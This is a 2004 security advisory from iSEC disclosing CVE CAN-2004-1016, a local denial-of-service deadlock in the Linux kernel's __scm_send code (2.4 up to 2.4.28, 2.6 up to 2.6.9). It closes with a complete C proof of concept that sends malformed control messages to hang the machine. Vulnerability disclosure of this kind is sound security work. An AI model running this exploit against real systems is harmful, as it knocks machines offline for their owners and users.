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Synopsis: Linux kernel scm_send local DoS
Product: Linux kernel
Version: 2.4 up to and including 2.4.28, 2.6 up to and including 2.6.9
Vendor: http://www.kernel.org/
URL: http://isec.pl/vulnerabilities/isec-0019-scm.txt
CVE: CAN-2004-1016
Author: Paul Starzetz <[email protected]>
Date: Dec 14, 2004

Issue:

A locally exploitable flaw has been found in the Linux socket layer,
that allows a local user to hang a vulnerable machine.

Details:

The Linux kernel provides a powerful socket API to user applications.
Among other functions sockets provide an universal way for IPC and user-
kernel communication. The socket layer uses several logical sublayers.
One of the layers, so called auxiliary message layer (or scm layer),
augments the socket API by an universal user-kernel message passing
capability (see recvfrom(2) for more details on auxiliary messages).

One of the scm message parsing functions invoked from the kernel
sendmsg() code is __scm_send() and suffers from a deadlock condition if
carefully prepared auxiliary message(s) is sent to a socket by an
unprivileged application.

We believe that the 2.4 kernel branch is not further exploitable. The
2.6 branch has not been extensively checked, however it may be locally
exploitable to gain elevated privileges due to its increased complexity.

Discussion:

See attached code.

Impact:

Unprivileged local users may hang a vulnerable Linux machine.

Credits:

Paul Starzetz <[email protected]> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.

Disclaimer:

This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.

Appendix:

/*

•  Linux kernel 2.4 & 2.6 __scm_send DoS
  

•  Warning! this code will hang your machine
  

•  gcc -O2 scmbang.c -o scmbang
  

•  Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
  

•  THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  

•  AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  

•  WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>

static char buf[1024];

void
fatal (const char *msg)
{
printf ("\n");
if (!errno)
{
fprintf (stderr, "FATAL: %s\n", msg);
}
else
{
perror (msg);
}
printf ("\n");
fflush (stdout);
fflush (stderr);
exit (1);
}

int
main (void)
{
int s[2], r;
struct sockaddr_in sin;
struct msghdr *msg;
struct cmsghdr *cmsg;

r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
if (r < 0)
    fatal ("socketpair");

memset (buf, 0, sizeof (buf));
msg = (void *) buf;
msg->msg_control = (void *) (msg + 1);

// make bad cmsgs
cmsg = (void *) msg->msg_control;

cmsg->cmsg_len = sizeof (*cmsg);
cmsg->cmsg_level = 0xdeadbebe;
cmsg->cmsg_type = 12;       // len after overflow on second msg
cmsg++;

// -12 for deadlock
cmsg->cmsg_len = -12;
cmsg->cmsg_level = SOL_IP;
msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;
r = sendmsg (s[0], msg, 0);
if (r < 0)
fatal ("sendmsg");

printf ("\nYou lucky\n");
fflush (stdout);

return 0;

}

---

Paul Starzetz
iSEC Security Research
http://isec.pl/

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